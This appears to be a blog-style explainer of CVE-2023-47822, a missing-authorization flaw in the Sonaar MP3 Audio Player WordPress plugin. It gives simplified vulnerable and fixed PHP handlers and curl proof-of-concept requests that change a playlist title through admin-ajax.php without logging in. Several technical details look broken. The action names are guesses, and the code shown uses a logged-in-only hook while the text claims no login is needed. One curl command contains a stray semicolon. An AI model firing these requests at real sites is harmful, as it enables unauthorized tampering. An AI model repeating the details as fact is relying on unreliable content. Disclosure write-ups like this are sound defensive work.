CVE-2023-47822 - Breaking Down the Sonaar MP3 Audio Player Missing Authorization Vulnerability

WordPress is a powerhouse for websites — from personal blogs to internet radio stations. Many users turn to plugins to add features, but plugins can come with dangerous vulnerabilities. One example is the Sonaar MP3 Audio Player for Music, Radio & Podcast, a popular plugin used to embed audio. In late 2023, a serious flaw was discovered: CVE-2023-47822, a Missing Authorization vulnerability. Below, I’ll break down what that means, how it works, and how an attacker can exploit it.

What is CVE-2023-47822?

CVE-2023-47822 is a security hole in the Sonaar MP3 Audio Player WordPress plugin, all the way up to version 4.10. The plugin fails to properly check if a user is allowed to perform certain sensitive actions. In other words, almost anyone — even untrusted visitors — can make changes or gain access they shouldn’t have.

Vulnerability Type:

Missing Authorization/Incorrect Access Control (CWE-862)

References & Sources

- NVD Listing for CVE-2023-47822
- WPVulnDB Entry
- Plugin Download Page for Sonaar MP3 Audio Player

How does the vulnerability work?

Most WordPress plugins use Ajax to let logged-in users make changes behind the scenes. The Sonaar plugin handles actions such as uploading tracks, editing playlists, and deleting audio via its own custom Ajax handler (wp_ajax_*).

But here’s the kicker:
The plugin does NOT properly check if a visitor is logged in or has permission before responding to these Ajax requests!

Example Vulnerable Code

*Note: The code here is for educational demonstration only and has been simplified.*

add_action('wp_ajax_sonaar_edit_playlist', 'sonaar_edit_playlist_callback');
function sonaar_edit_playlist_callback() {
    // Vuln: No authentication check!
    $playlist_id = $_POST['playlist_id'];
    $new_title   = $_POST['title'];
    // Update playlist in database (no checks!)
    update_post_meta($playlist_id, 'sonaar_title', $new_title);
    echo json_encode(array('status' => 'ok'));
    wp_die();
}

A secure Ajax handler usually checks the user's capability (current_user_can()) and/or verifies a WordPress nonce token.

How it should look

function sonaar_edit_playlist_callback() {
    // FIX: Only allow users with editing rights
    if ( ! current_user_can('edit_posts') || ! check_ajax_referer('sonaar_edit_nonce', false, false) ) {
        wp_send_json_error('Unauthorized');
    }
    // ...do the thing
}

Exploit Details: How Can Attackers Abuse CVE-2023-47822?

If you know the plugin is active on a site (like example.com), you can simply POST a request directly to WordPress’s admin-ajax.php endpoint and call the vulnerable action name. No login is needed.

1. Find the action name

- Inspect the plugin code or documentation. For this plugin, it might be sonaar_edit_playlist, sonaar_delete_track, etc.

Example (with curl)

curl -X POST "https://example.com/wp-admin/admin-ajax.php"; \
  -d "action=sonaar_edit_playlist&playlist_id=1234&title=Hacked!"

*Expected Result:*
If vulnerable, the playlist with ID 1234 gets its title changed to “Hacked!” — even if you are a logged-out, untrusted user.

Proof of Concept

# Replace the target site, playlist ID, and fields as needed
curl -s -X POST \
  -d 'action=sonaar_edit_playlist' \
  -d 'playlist_id=1' \
  -d 'title=Owned by Attacker' \
  https://targetsite.com/wp-admin/admin-ajax.php

If the response is OK *and* the playlist title updates, the plugin is vulnerable.

Temporary Patch

Disable the plugin, or block public access to admin-ajax.php except for authenticated users (via server rules).

Principle:

Always enforce both authentication and authorization (capability checks) on any action that changes data.

Conclusion

CVE-2023-47822 is a critical example of why plugin developers must never skip user permission checks, even on background requests like Ajax. If you use the Sonaar MP3 Audio Player, patch it *immediately*. Always keep plugins updated, and monitor security feeds for issues like this.


Stay safe, keep patched, and remember — missing an “if” statement can mean handing your site to a stranger.


More Resources:
- How to Secure WordPress Ajax Actions
- OWASP - Broken Access Control


*(Written for exclusive demonstration. Please report vulnerabilities to plugin vendors responsibly!)*

Timeline

Published on: 12/09/2024 13:15:31 UTC